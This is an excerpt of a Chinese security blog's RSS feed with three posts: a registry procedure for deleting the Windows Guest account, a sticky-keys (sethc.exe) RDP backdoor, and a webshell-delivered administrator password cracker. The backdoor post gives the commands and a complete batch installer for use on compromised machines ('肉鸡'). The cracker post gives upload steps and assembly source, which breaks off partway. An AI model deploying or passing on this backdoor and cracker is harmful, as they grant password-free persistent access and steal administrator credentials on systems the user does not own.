		<description><![CDATA[<a href="http://www.5bay.cn/server-building/eeeuestee.html"><img align="left" hspace="5" width="150" height="150" src="http://www.5bay.cn/wp-content/plugins/thumbnail-for-excerpts/tfe_no_thumb.png" class="alignleft wp-post-image tfe" alt="" title="" /></a>开始&#8212;&#8212;运行regedt  启动注册表编辑器 找到HKEY_LOCAL_MACHINE窗口，选中SAM\SAM，然后点菜单中的权限设置，这时候我们可看到Administrators组只具有特殊权限，而SYSTEM账号却拥有全部控制权限，想一想这是为什么呢？其实很容易理解，SYSTEM账号是系统启动时候需要的账号，很多系统内核程序和服务程序大都是以该账号的权限运行的，若权限太低的话，恐怕我们的系统就运行不了！现在我们需要做的是更改Administrators权限（一定要在高级选项中记住该权限内容以备后用）为全部控制，这样我们就可以访问SAM下的信息了。 再次运行regedit： 此时HKEY_LOCAL_MACHINE\SAM\SAM下就有东西了，步步深入一直找到： HKEY_LOCAL_MACHINE\SAM\SAM\Domains\Account\Users\000001F5 和 HKEY_LOCAL_MACHINE\SAM\SAM\Domains\Account\Users\Names\Guest 删除000001F5和Guest，然后退出regedit，再次运行regedt32，恢复Administrators对sam的权限（还记得Administrators的特殊权限吗？一定要记得啊，实在没有记住的话找其它同系统的机器看看也行，是一样的），这样是为了安全考虑，防止用户不小心删除系统账号。 进入dos窗口： &#62;net user 看看，会看大guest不见了，同样使用系统管理器的用户和组查看也是没有的了。这样就大功搞成了！ ======== 需要提醒的是： 1、不熟悉注册表编辑的一定不要乱来，否则可能导致系统崩溃。 2、删除前可考虑通过注册表的导出功能对删除的部分进行备份，以便恢复。 深入去玩的方法是： 可通过编辑注册表的SAM信息可轻松删除或改动其它账 2、可编写程序以SYSTEM权限运行来访问注册表中的SAM信息实现删除guest。 相关博文2010年07月28日 -- Webshell下破解计算机管理员密码 (0)2010年07月26日 -- 深入探讨PHP中的内存管理问题 (0)2010年07月26日 -- PHP对文本数据库的基本操作方法 (0)2010年07月26日 -- Ajax的工作原理 (1)2010年07月26日 -- ajax的缺点 (0)2010年07月28日 -- ASP防注入新方式，希望对大家是有用的 (0)2010年07月26日 -- 最令PHP初学者头痛的十四个问题 (0)2010年07月26日 -- PHP和Socket简介 (0)2010年07月26日 -- AJAX应用程序开发七宗罪 (0)2010年07月26日 -- 基于JSON的高级AJAX开发技术 (0)2010年07月26日 -- PHP安全之数据过滤 (0)2010年05月23日 -- Rsync详解 [...]]]></description>
			<content:encoded><![CDATA[<p>开始&#8212;&#8212;运行regedt  启动注册表编辑器<br />
找到HKEY_LOCAL_MACHINE窗口，选中SAM\SAM，然后点菜单中的权限设置，这时候我们可看到Administrators组只具有特殊权限，而SYSTEM账号却拥有全部控制权限，想一想这是为什么呢？其实很容易理解，SYSTEM账号是系统启动时候需要的账号，很多系统内核程序和服务程序大都是以该账号的权限运行的，若权限太低的话，恐怕我们的系统就运行不了！现在我们需要做的是更改Administrators权限（一定要在高级选项中记住该权限内容以备后用）为全部控制，这样我们就可以访问SAM下的信息了。<br />
再次运行regedit：<br />
此时HKEY_LOCAL_MACHINE\SAM\SAM下就有东西了，步步深入一直找到：<br />
HKEY_LOCAL_MACHINE\SAM\SAM\Domains\Account\Users\000001F5 和 HKEY_LOCAL_MACHINE\SAM\SAM\Domains\Account\Users\Names\Guest<br />
删除000001F5和Guest，然后退出regedit，再次运行regedt32，恢复Administrators对sam的权限（还记得Administrators的特殊权限吗？一定要记得啊，实在没有记住的话找其它同系统的机器看看也行，是一样的），这样是为了安全考虑，防止用户不小心删除系统账号。<br />
进入dos窗口：<br />
&gt;net user<br />
看看，会看大guest不见了，同样使用系统管理器的用户和组查看也是没有的了。这样就大功搞成了！<br />
========<br />
需要提醒的是：<br />
1、不熟悉注册表编辑的一定不要乱来，否则可能导致系统崩溃。<br />
2、删除前可考虑通过注册表的导出功能对删除的部分进行备份，以便恢复。 深入去玩的方法是：<br />
可通过编辑注册表的SAM信息可轻松删除或改动其它账<br />
2、可编写程序以SYSTEM权限运行来访问注册表中的SAM信息实现删除guest。</p>
<h2  class="related_post_title">相关博文</h2><ul class="related_post"><li>2010年07月28日 -- <a href="http://www.5bay.cn/server-building/webshelleechueeee.html" title="Webshell下破解计算机管理员密码">Webshell下破解计算机管理员密码</a> (0)</li><li>2010年07月26日 -- <a href="http://www.5bay.cn/network-programming/peeeeee.html" title="深入探讨PHP中的内存管理问题">深入探讨PHP中的内存管理问题</a> (0)</li><li>2010年07月26日 -- <a href="http://www.5bay.cn/network-programming/phpeeeeeeeehuai.html" title="PHP对文本数据库的基本操作方法">PHP对文本数据库的基本操作方法</a> (0)</li><li>2010年07月26日 -- <a href="http://www.5bay.cn/network-programming/ajaxeeee.html" title="Ajax的工作原理">Ajax的工作原理</a> (1)</li><li>2010年07月26日 -- <a href="http://www.5bay.cn/network-programming/ajaxxuan.html" title="ajax的缺点">ajax的缺点</a> (0)</li><li>2010年07月28日 -- <a href="http://www.5bay.cn/server-building/aspeaojie.html" title="ASP防注入新方式，希望对大家是有用的">ASP防注入新方式，希望对大家是有用的</a> (0)</li><li>2010年07月26日 -- <a href="http://www.5bay.cn/network-programming/eeeeeeee.html" title="最令PHP初学者头痛的十四个问题">最令PHP初学者头痛的十四个问题</a> (0)</li><li>2010年07月26日 -- <a href="http://www.5bay.cn/network-programming/phpeecketee.html" title="PHP和Socket简介">PHP和Socket简介</a> (0)</li><li>2010年07月26日 -- <a href="http://www.5bay.cn/network-programming/ajaxeeaoe.html" title="AJAX应用程序开发七宗罪">AJAX应用程序开发七宗罪</a> (0)</li><li>2010年07月26日 -- <a href="http://www.5bay.cn/network-programming/eesoneeajaxeehuai.html" title="基于JSON的高级AJAX开发技术">基于JSON的高级AJAX开发技术</a> (0)</li><li>2010年07月26日 -- <a href="http://www.5bay.cn/network-programming/phpeezhanchang.html" title="PHP安全之数据过滤">PHP安全之数据过滤</a> (0)</li><li>2010年05月23日 -- <a href="http://www.5bay.cn/server-building/rsyncxiangjie.html" title="Rsync详解">Rsync详解</a> (0)</li><li>2008年10月17日 -- <a href="http://www.5bay.cn/game-development/%E6%80%9D%E7%BB%B4%E7%9A%84%E6%83%AF%E6%80%A7.html" title="思维的惯性">思维的惯性</a> (0)</li><li>2008年10月17日 -- <a href="http://www.5bay.cn/game-development/%E9%9A%8F%E6%9C%BA%E6%95%B0%E6%9C%89%E5%A4%9A%E9%9A%8F%E6%9C%BA%EF%BC%9F.html" title="随机数有多随机？">随机数有多随机？</a> (0)</li><li>2008年10月17日 -- <a href="http://www.5bay.cn/game-development/%E6%B8%B8%E6%88%8F%E7%9A%84%E5%B8%A7%E7%8E%87%E6%8E%A7%E5%88%B6.html" title="游戏的帧率控制">游戏的帧率控制</a> (0)</li></ul>
	标签Tags：<a href="http://www.5bay.cn/tag/domain" title="domain" rel="tag">domain</a>, <a href="http://www.5bay.cn/tag/%E6%96%B9%E6%B3%95" title="方法" rel="tag">方法</a>, <a href="http://www.5bay.cn/category/server-building" title="服务器构建&amp;安全" rel="tag">服务器构建&amp;安全</a>, <a href="http://www.5bay.cn/tag/%E7%A8%8B%E5%BA%8F" title="程序" rel="tag">程序</a>, <a href="http://www.5bay.cn/tag/%E7%B3%BB%E7%BB%9F" title="系统" rel="tag">系统</a>, <a href="http://www.5bay.cn/tag/e" title="诫" rel="tag">诫</a><br />
]]></content:encoded>
			<wfw:commentRss>http://www.5bay.cn/server-building/eeeuestee.html/feed</wfw:commentRss>
		<slash:comments>0</slash:comments>
		</item>
		<item>
		<title>无需输入密码登陆3389</title>
		<link>http://www.5bay.cn/server-building/eeeeee389.html</link>
		<comments>http://www.5bay.cn/server-building/eeeeee389.html#comments</comments>
		<pubDate>Wed, 28 Jul 2010 01:32:45 +0000</pubDate>
		<dc:creator>江小邪</dc:creator>
				<category><![CDATA[服务器构建&安全]]></category>
		<category><![CDATA[cache]]></category>
		<category><![CDATA[title]]></category>
		<category><![CDATA[人]]></category>
		<category><![CDATA[代码]]></category>
		<category><![CDATA[密码]]></category>
		<category><![CDATA[感谢]]></category>
		<category><![CDATA[方法]]></category>
		<category><![CDATA[系统]]></category>
		<category><![CDATA[连接]]></category>

		<guid isPermaLink="false">http://www.5bay.cn/?p=518</guid>
		<description><![CDATA[<a href="http://www.5bay.cn/server-building/eeeeee389.html"><img align="left" hspace="5" width="150" height="150" src="http://www.5bay.cn/wp-content/plugins/thumbnail-for-excerpts/tfe_no_thumb.png" class="alignleft wp-post-image tfe" alt="" title="" /></a>来源：脚本安全小组 在肉鸡上执行命令 copy c:\windows\explorer.exe c:\windows\system32\sethc.exe copy c:\windows\system32\sethc.exe c:\windows\system32\dllcache\sethc.exe 以后再连接肉鸡3389，敲5下shift键就可以直接进入了，无需输入密码，只是登陆上去没有任务栏，一直会有密码登陆框，不过够我们做很多事情了,目前win2003测试通过。 似乎2000也可以，XP不行。这两个系统没测试。 不知道有牛人知道是什么道理不. 小道消息：连敲5次shift就自动激活连滞键设置~~也就是自动执行sethc.exe ，你把explorer.exe换成sethc.exe 就是自动执行explorer.exe Shift后门TT整理版 来源：TT&#8217;s Blog 将下面的代码保存为tt.bat 然后到主机上运行~后门的启动了~ 然后连接对方3389然后连续按5次Shift就能进入盘里了 然后进入c:\windows\system32\cmd.exe 或者建个bat内容为 call cmd.xe 就是系统权限了~管理员把你先的用户删了也不怕~ 哇哈哈哈哈~~~ TITLE Shift后门 @echo off cls echo ~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~ echo ~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~ echo. echo. echo 使用方法:本文件执行完毕后, echo 在终端界面按Shift 5次即可登陆系统! echo ~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~ echo ~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~ echo. copy c:\windows\explorer.exe c:\windows\system32\sethc.exe echo 完成百分之 50 copy c:\windows\system32\sethc.exe [...]]]></description>
			<content:encoded><![CDATA[<p>来源：脚本安全小组</p>
<p>在肉鸡上执行命令</p>
<p>copy c:\windows\explorer.exe c:\windows\system32\sethc.exe</p>
<p>copy c:\windows\system32\sethc.exe c:\windows\system32\dllcache\sethc.exe</p>
<p>以后再连接肉鸡3389，敲5下shift键就可以直接进入了，无需输入密码，只是登陆上去没有任务栏，一直会有密码登陆框，不过够我们做很多事情了,目前win2003测试通过。</p>
<p>似乎2000也可以，XP不行。这两个系统没测试。</p>
<p>不知道有牛人知道是什么道理不.</p>
<p>小道消息：连敲5次shift就自动激活连滞键设置~~也就是自动执行sethc.exe ，你把explorer.exe换成sethc.exe 就是自动执行explorer.exe</p>
<p>Shift后门TT整理版<br />
来源：TT&#8217;s Blog</p>
<p>将下面的代码保存为tt.bat 然后到主机上运行~后门的启动了~</p>
<p>然后连接对方3389然后连续按5次Shift就能进入盘里了 然后进入c:\windows\system32\cmd.exe</p>
<p>或者建个bat内容为 call cmd.xe 就是系统权限了~管理员把你先的用户删了也不怕~</p>
<p>哇哈哈哈哈~~~<br />
<a href="http://www.5bay.cn/tag/title" class="st_tag internal_tag" rel="tag" title="标签 title 下的日志">TITLE</a> Shift后门<br />
@echo off<br />
cls<br />
echo ~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~<br />
echo ~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~<br />
echo.<br />
echo.<br />
echo 使用方法:本文件执行完毕后,<br />
echo 在终端界面按Shift 5次即可登陆系统!<br />
echo ~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~<br />
echo ~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~<br />
echo.<br />
copy c:\windows\explorer.exe c:\windows\system32\sethc.exe<br />
echo 完成百分之 50<br />
copy c:\windows\system32\sethc.exe c:\windows\system32\dllcache\sethc.exe<br />
echo 完成百分之 80<br />
attrib c:\windows\system32\sethc.exe +h<br />
echo 完成百分之 90<br />
attrib c:\windows\system32\dllcache\sethc.exe +h<br />
echo 完成百分之 100<br />
cls<br />
echo.<br />
echo ~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~<br />
echo ~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~<br />
echo 后门安装完毕！<br />
echo.<br />
echo 感谢您使用Shift后门<br />
echo.<br />
echo.<br />
echo.<br />
echo ~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~<br />
echo ~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~<br />
echo.<br />
echo. &amp; pause<br />
exit</p>
<h2  class="related_post_title">相关博文</h2><ul class="related_post"><li>2010年05月23日 -- <a href="http://www.5bay.cn/server-building/mysqlyouhuajiquanwensousuo.html" title="mysql优化及全文搜索">mysql优化及全文搜索</a> (0)</li><li>2010年05月23日 -- <a href="http://www.5bay.cn/server-building/rsyncxiangjie.html" title="Rsync详解">Rsync详解</a> (0)</li><li>2010年07月28日 -- <a href="http://www.5bay.cn/server-building/aspeaojie.html" title="ASP防注入新方式，希望对大家是有用的">ASP防注入新方式，希望对大家是有用的</a> (0)</li><li>2010年07月26日 -- <a href="http://www.5bay.cn/network-programming/ajaxeeee.html" title="Ajax的工作原理">Ajax的工作原理</a> (1)</li><li>2010年07月26日 -- <a href="http://www.5bay.cn/network-programming/eejaxeeeeee.html" title="使用Ajax时的十个常犯的错误">使用Ajax时的十个常犯的错误</a> (0)</li><li>2010年07月26日 -- <a href="http://www.5bay.cn/network-programming/ajaxxuan.html" title="ajax的缺点">ajax的缺点</a> (0)</li><li>2010年05月23日 -- <a href="http://www.5bay.cn/server-building/eacceleratoryumemcachedequbieyuyongtu.html" title="eAccelerator与memcache的区别与用途">eAccelerator与memcache的区别与用途</a> (2)</li><li>2010年05月23日 -- <a href="http://www.5bay.cn/network-programming/phpzhongdememcachehanshukumemcachefunctions.html" title="PHP中的Memcache函数库（Memcache Functions）">PHP中的Memcache函数库（Memcache Functions）</a> (0)</li><li>2008年10月17日 -- <a href="http://www.5bay.cn/game-development/%E6%95%B0%E6%8D%AE%E6%9C%8D%E5%8A%A1%E5%99%A8%E7%9A%84%E8%AE%BE%E8%AE%A1.html" title="数据服务器的设计">数据服务器的设计</a> (0)</li><li>2008年10月17日 -- <a href="http://www.5bay.cn/game-development/%E5%A4%9A%E8%BF%9B%E7%A8%8B%E7%9A%84%E6%B8%B8%E6%88%8F%E6%9C%8D%E5%8A%A1%E5%99%A8%E8%AE%BE%E8%AE%A1.html" title="多进程的游戏服务器设计">多进程的游戏服务器设计</a> (0)</li><li>2008年10月17日 -- <a href="http://www.5bay.cn/game-development/%E6%80%9D%E7%BB%B4%E7%9A%84%E6%83%AF%E6%80%A7.html" title="思维的惯性">思维的惯性</a> (0)</li><li>2008年10月17日 -- <a href="http://www.5bay.cn/game-development/%E5%A4%9A%E6%9C%8D%E5%8A%A1%E5%99%A8%E7%9A%84%E7%94%A8%E6%88%B7%E8%BA%AB%E4%BB%BD%E8%AE%A4%E8%AF%81%E6%96%B9%E6%A1%88.html" title="多服务器的用户身份认证方案">多服务器的用户身份认证方案</a> (0)</li><li>2008年10月17日 -- <a href="http://www.5bay.cn/game-development/mmo%E7%9A%84%E6%8E%92%E9%98%9F%E7%B3%BB%E7%BB%9F.html" title="MMO 的排队系统">MMO 的排队系统</a> (0)</li><li>2010年07月28日 -- <a href="http://www.5bay.cn/server-building/webshelleechueeee.html" title="Webshell下破解计算机管理员密码">Webshell下破解计算机管理员密码</a> (0)</li><li>2010年07月26日 -- <a href="http://www.5bay.cn/network-programming/phpeecketee.html" title="PHP和Socket简介">PHP和Socket简介</a> (0)</li></ul>
	标签Tags：<a href="http://www.5bay.cn/tag/cache" title="cache" rel="tag">cache</a>, <a href="http://www.5bay.cn/tag/title" title="title" rel="tag">title</a>, <a href="http://www.5bay.cn/tag/%E4%BA%BA" title="人" rel="tag">人</a>, <a href="http://www.5bay.cn/tag/%E4%BB%A3%E7%A0%81" title="代码" rel="tag">代码</a>, <a href="http://www.5bay.cn/tag/%E5%AF%86%E7%A0%81" title="密码" rel="tag">密码</a>, <a href="http://www.5bay.cn/tag/%E6%84%9F%E8%B0%A2" title="感谢" rel="tag">感谢</a>, <a href="http://www.5bay.cn/tag/%E6%96%B9%E6%B3%95" title="方法" rel="tag">方法</a>, <a href="http://www.5bay.cn/category/server-building" title="服务器构建&amp;安全" rel="tag">服务器构建&amp;安全</a>, <a href="http://www.5bay.cn/tag/%E7%B3%BB%E7%BB%9F" title="系统" rel="tag">系统</a>, <a href="http://www.5bay.cn/tag/%E8%BF%9E%E6%8E%A5" title="连接" rel="tag">连接</a><br />
]]></content:encoded>
			<wfw:commentRss>http://www.5bay.cn/server-building/eeeeee389.html/feed</wfw:commentRss>
		<slash:comments>0</slash:comments>
		</item>
		<item>
		<title>Webshell下破解计算机管理员密码</title>
		<link>http://www.5bay.cn/server-building/webshelleechueeee.html</link>
		<comments>http://www.5bay.cn/server-building/webshelleechueeee.html#comments</comments>
		<pubDate>Wed, 28 Jul 2010 01:30:06 +0000</pubDate>
		<dc:creator>江小邪</dc:creator>
				<category><![CDATA[服务器构建&安全]]></category>
		<category><![CDATA[2008]]></category>
		<category><![CDATA[code]]></category>
		<category><![CDATA[div]]></category>
		<category><![CDATA[domain]]></category>
		<category><![CDATA[ie]]></category>
		<category><![CDATA[include]]></category>
		<category><![CDATA[mod]]></category>
		<category><![CDATA[path]]></category>
		<category><![CDATA[web]]></category>
		<category><![CDATA[webs]]></category>
		<category><![CDATA[上传]]></category>
		<category><![CDATA[代码]]></category>
		<category><![CDATA[密码]]></category>
		<category><![CDATA[数据]]></category>
		<category><![CDATA[方法]]></category>
		<category><![CDATA[源代码]]></category>
		<category><![CDATA[程序]]></category>
		<category><![CDATA[诫]]></category>
		<category><![CDATA[说明]]></category>
		<category><![CDATA[软件]]></category>
		<category><![CDATA[链接]]></category>

		<guid isPermaLink="false">http://www.5bay.cn/?p=515</guid>
		<description><![CDATA[<a href="http://www.5bay.cn/server-building/webshelleechueeee.html"><img align="left" hspace="5" width="150" height="150" src="http://www.5bay.cn/wp-content/plugins/thumbnail-for-excerpts/tfe_no_thumb.png" class="alignleft wp-post-image tfe" alt="" title="" /></a>软件作者：taiwansee 信息来源：邪恶八进制信息安全团队（www.eviloctal.com） 这个idea源自以前学runas命令时候的启发。 使用方法：     1、把你的密码字典改名成psw.txt后，上传到目标服务器的一个可执行、可写的目录中。这里假设这个目录是：c:\windows\temp\     2、把程序上传到c:\windows\temp\中，然后运行它。     3、然后就是等待，过几分钟（具体时间看你的字典大小了）查阅c:\windows\temp\下的result_.txt中的结果，        如果为空就说明还没破解完，另选时间再回来看。 特点：     不需要抓hash，不需要管理员权限，ISUR_*用户就能用，速度慢（这个也是特点哦）在测试机中的表现是每秒尝试1800个密码左右。     默认破解administrator用户的密码。要破其它，请自行修改代码。 result_.txt示例： －－－－－－－－－－－－－－－－－－－－－－－－－－－－－ The administrator&#8217;s password is: tester The program had tried 32653 times! Use time:0 hour(s) 0 minute(s) 17.109 second(s),average speed: 1908 times/s. －－－－－－－－－－－－－－－－－－－－－－－－－－－－－ 源代码如下： AdminPassCrack.asm文件 复制内容到剪贴板代码: ;&#62;&#62;&#62;&#62;&#62;&#62;&#62;&#62;&#62;&#62;&#62;&#62;&#62;&#62;&#62;&#62;&#62;&#62;&#62;&#62;&#62;&#62;&#62;&#62;&#62;&#62;&#62;&#62;&#62;&#62;&#62;&#62;&#62;&#62;&#62;&#62;&#62;&#62;&#62;&#62;&#62;&#62;&#62;&#62;&#62;&#62;&#62;&#62;&#62;&#62;&#62;&#62;&#62;&#62;&#62;&#62;&#62;&#62;&#62;&#62;&#62;&#62;&#62;&#62;&#62;&#62;&#62;&#62; ;                AdminPassCracker ; ;                                By taiwansee        2008.10.23 ; ; 使用 nmake 或下列命令进行编译和链接: ; ml /c /coff AdminPassCracker.asm ; [...]]]></description>
			<content:encoded><![CDATA[<p>软件作者：taiwansee<br />
信息来源：邪恶八进制信息安全团队（www.eviloctal.com）</p>
<p>这个idea源自以前学runas命令时候的启发。</p>
<p>使用方法：<br />
    1、把你的密码字典改名成psw.txt后，上传到目标服务器的一个可执行、可写的目录中。这里假设这个目录是：c:\windows\temp\<br />
    2、把程序上传到c:\windows\temp\中，然后运行它。<br />
    3、然后就是等待，过几分钟（具体时间看你的字典大小了）查阅c:\windows\temp\下的result_.txt中的结果，<br />
       如果为空就说明还没破解完，另选时间再回来看。</p>
<p>特点：<br />
    不需要抓hash，不需要管理员权限，ISUR_*用户就能用，速度慢（这个也是特点哦）在测试机中的表现是每秒尝试1800个密码左右。<br />
    默认破解administrator用户的密码。要破其它，请自行修改代码。<br />
<span id="more-515"></span><br />
result_.txt示例：<br />
－－－－－－－－－－－－－－－－－－－－－－－－－－－－－<br />
The administrator&#8217;s password is: tester<br />
The program had tried 32653 times! <img src='http://www.5bay.cn/wp-includes/images/smilies/icon_smile.gif' alt=':)' class='wp-smiley' /><br />
Use time:0 hour(s) 0 minute(s) 17.109 second(s),average speed: 1908 times/s.<br />
－－－－－－－－－－－－－－－－－－－－－－－－－－－－－<br />
源代码如下：<br />
AdminPassCrack.asm文件<br />
复制内容到剪贴板代码:<br />
;&gt;&gt;&gt;&gt;&gt;&gt;&gt;&gt;&gt;&gt;&gt;&gt;&gt;&gt;&gt;&gt;&gt;&gt;&gt;&gt;&gt;&gt;&gt;&gt;&gt;&gt;&gt;&gt;&gt;&gt;&gt;&gt;&gt;&gt;&gt;&gt;&gt;&gt;&gt;&gt;&gt;&gt;&gt;&gt;&gt;&gt;&gt;&gt;&gt;&gt;&gt;&gt;&gt;&gt;&gt;&gt;&gt;&gt;&gt;&gt;&gt;&gt;&gt;&gt;&gt;&gt;&gt;&gt;<br />
;                AdminPassCracker<br />
;<br />
;                                By taiwansee        2008.10.23<br />
;<br />
; 使用 nmake 或下列命令进行编译和链接:<br />
; ml /c /coff AdminPassCracker.asm<br />
; Link /subsystem:windows AdminPassCracker.obj<br />
;&gt;&gt;&gt;&gt;&gt;&gt;&gt;&gt;&gt;&gt;&gt;&gt;&gt;&gt;&gt;&gt;&gt;&gt;&gt;&gt;&gt;&gt;&gt;&gt;&gt;&gt;&gt;&gt;&gt;&gt;&gt;&gt;&gt;&gt;&gt;&gt;&gt;&gt;&gt;&gt;&gt;&gt;&gt;&gt;&gt;&gt;&gt;&gt;&gt;&gt;&gt;&gt;&gt;&gt;&gt;&gt;&gt;&gt;&gt;&gt;&gt;&gt;&gt;&gt;&gt;&gt;&gt;&gt;<br />
                .386<br />
                .model flat, stdcall<br />
                option casemap :none<br />
;&gt;&gt;&gt;&gt;&gt;&gt;&gt;&gt;&gt;&gt;&gt;&gt;&gt;&gt;&gt;&gt;&gt;&gt;&gt;&gt;&gt;&gt;&gt;&gt;&gt;&gt;&gt;&gt;&gt;&gt;&gt;&gt;&gt;&gt;&gt;&gt;&gt;&gt;&gt;&gt;&gt;&gt;&gt;&gt;&gt;&gt;&gt;&gt;&gt;&gt;&gt;&gt;&gt;&gt;&gt;&gt;&gt;&gt;&gt;&gt;&gt;&gt;&gt;&gt;&gt;&gt;&gt;&gt;<br />
; Include 文件定义<br />
;&gt;&gt;&gt;&gt;&gt;&gt;&gt;&gt;&gt;&gt;&gt;&gt;&gt;&gt;&gt;&gt;&gt;&gt;&gt;&gt;&gt;&gt;&gt;&gt;&gt;&gt;&gt;&gt;&gt;&gt;&gt;&gt;&gt;&gt;&gt;&gt;&gt;&gt;&gt;&gt;&gt;&gt;&gt;&gt;&gt;&gt;&gt;&gt;&gt;&gt;&gt;&gt;&gt;&gt;&gt;&gt;&gt;&gt;&gt;&gt;&gt;&gt;&gt;&gt;&gt;&gt;&gt;&gt;<br />
include                windows.inc<br />
include                user32.inc<br />
includelib        user32.lib<br />
include                kernel32.inc<br />
includelib        kernel32.lib<br />
include                Advapi32.inc<br />
includelib        Advapi32.lib<br />
include                _TotalTime.asm<br />
;&gt;&gt;&gt;&gt;&gt;&gt;&gt;&gt;&gt;&gt;&gt;&gt;&gt;&gt;&gt;&gt;&gt;&gt;&gt;&gt;&gt;&gt;&gt;&gt;&gt;&gt;&gt;&gt;&gt;&gt;&gt;&gt;&gt;&gt;&gt;&gt;&gt;&gt;&gt;&gt;&gt;&gt;&gt;&gt;&gt;&gt;&gt;&gt;&gt;&gt;&gt;&gt;&gt;&gt;&gt;&gt;&gt;&gt;&gt;&gt;&gt;&gt;&gt;&gt;&gt;&gt;&gt;&gt;<br />
; 数据段<br />
;&gt;&gt;&gt;&gt;&gt;&gt;&gt;&gt;&gt;&gt;&gt;&gt;&gt;&gt;&gt;&gt;&gt;&gt;&gt;&gt;&gt;&gt;&gt;&gt;&gt;&gt;&gt;&gt;&gt;&gt;&gt;&gt;&gt;&gt;&gt;&gt;&gt;&gt;&gt;&gt;&gt;&gt;&gt;&gt;&gt;&gt;&gt;&gt;&gt;&gt;&gt;&gt;&gt;&gt;&gt;&gt;&gt;&gt;&gt;&gt;&gt;&gt;&gt;&gt;&gt;&gt;&gt;&gt;<br />
                .const<br />
DEBUG                                equ        0</p>
<p>LOGON32_LOGON_NETWORK                equ     3<br />
LOGON32_PROVIDER_DEFAULT        equ        0</p>
<p>;&gt;&gt;&gt;&gt;&gt;&gt;&gt;&gt;&gt;&gt;&gt;&gt;&gt;&gt;&gt;&gt;&gt;&gt;&gt;&gt;&gt;&gt;&gt;&gt;&gt;&gt;&gt;&gt;&gt;&gt;&gt;&gt;&gt;&gt;&gt;&gt;&gt;&gt;&gt;&gt;&gt;&gt;&gt;&gt;&gt;&gt;&gt;&gt;&gt;&gt;&gt;&gt;&gt;&gt;&gt;&gt;&gt;&gt;&gt;&gt;&gt;&gt;&gt;&gt;&gt;&gt;&gt;&gt;<br />
; 数据段<br />
;&gt;&gt;&gt;&gt;&gt;&gt;&gt;&gt;&gt;&gt;&gt;&gt;&gt;&gt;&gt;&gt;&gt;&gt;&gt;&gt;&gt;&gt;&gt;&gt;&gt;&gt;&gt;&gt;&gt;&gt;&gt;&gt;&gt;&gt;&gt;&gt;&gt;&gt;&gt;&gt;&gt;&gt;&gt;&gt;&gt;&gt;&gt;&gt;&gt;&gt;&gt;&gt;&gt;&gt;&gt;&gt;&gt;&gt;&gt;&gt;&gt;&gt;&gt;&gt;&gt;&gt;&gt;&gt;<br />
align 4<br />
                .data?<br />
hModuleHandle                DWORD        ?<br />
szFileName                BYTE        MAX_PATH dup(?)</p>
<p>                .data</p>
<p>szResultFile        BYTE        &#8217;result_.txt&#8217;,0<br />
szPswDic        BYTE        &#8217;psw.txt&#8217;,0<br />
szDomain        BYTE        &#8217;.',0<br />
szUserName        BYTE        &#8217;administrator&#8217;,0</p>
<p>szResultFileFormat        BYTE        &#8217;The administrator&#8217;,27h,&#8217;s password is: %s&#8217;,0dh,0ah<br />
                        BYTE        &#8217;The program had tried %d times! <img src='http://www.5bay.cn/wp-includes/images/smilies/icon_smile.gif' alt=':)' class='wp-smiley' /> &#8217;,0dh,0ah,0</p>
<p>szNoDicFileErr                BYTE        &#8217;Sorry,dic file not exists.&#8217;,0<br />
szCreateFileMappingErr        BYTE        &#8217;CreateFileMapping Error!&#8217;,0<br />
szMapViewOfFileErr        BYTE        &#8217;MapViewOfFile Error!&#8217;,0<br />
szNotFound                BYTE        &#8217;Password not found! <img src='http://www.5bay.cn/wp-includes/images/smilies/icon_sad.gif' alt=':(' class='wp-smiley' /> &#8216;,0dh,0ah,0</p>
<p>;&gt;&gt;&gt;&gt;&gt;&gt;&gt;&gt;&gt;&gt;&gt;&gt;&gt;&gt;&gt;&gt;&gt;&gt;&gt;&gt;&gt;&gt;&gt;&gt;&gt;&gt;&gt;&gt;&gt;&gt;&gt;&gt;&gt;&gt;&gt;&gt;&gt;&gt;&gt;&gt;&gt;&gt;&gt;&gt;&gt;&gt;&gt;&gt;&gt;&gt;&gt;&gt;&gt;&gt;&gt;&gt;&gt;&gt;&gt;&gt;&gt;&gt;&gt;&gt;&gt;&gt;&gt;&gt;<br />
; 代码段<br />
;&gt;&gt;&gt;&gt;&gt;&gt;&gt;&gt;&gt;&gt;&gt;&gt;&gt;&gt;&gt;&gt;&gt;&gt;&gt;&gt;&gt;&gt;&gt;&gt;&gt;&gt;&gt;&gt;&gt;&gt;&gt;&gt;&gt;&gt;&gt;&gt;&gt;&gt;&gt;&gt;&gt;&gt;&gt;&gt;&gt;&gt;&gt;&gt;&gt;&gt;&gt;&gt;&gt;&gt;&gt;&gt;&gt;&gt;&gt;&gt;&gt;&gt;&gt;&gt;&gt;&gt;&gt;&gt;<br />
                .code<br />
align 4</p>
<p>_WinMain        proc<br />
        local        @hPswDic:DWORD,\<br />
                @szPswTmp[MAX_PATH]:BYTE,\<br />
                @dwPswDicFileSize:DWORD,\<br />
                @hResultFile:DWORD,\<br />
                @dwWritten:DWORD,\<br />
                @hPswDicFileMap:DWORD,\<br />
                @hToken:DWORD,\<br />
                @dwTriedTimes:DWORD,\<br />
                @szBuf[MAX_PATH]:BYTE,\<br />
                @dwContentLength:DWORD,\<br />
                @lpPswDic:DWORD,\<br />
                @lpNext:DWORD,\<br />
                @lpStart:DWORD,\<br />
                @dwStart:DWORD<br />
        <br />
;Create file to record results.<br />
        invoke        CreateFile,offset szResultFile,GENERIC_READ or GENERIC_WRITE,\<br />
                           FILE_SHARE_READ or FILE_SHARE_WRITE,NULL,OPEN_ALWAYS,\<br />
                           FILE_ATTRIBUTE_NORMAL,NULL<br />
        .if        eax == INVALID_HANDLE_VALUE<br />
                jmp _Error_Exit<br />
        .endif<br />
        mov        @hResultFile,eax<br />
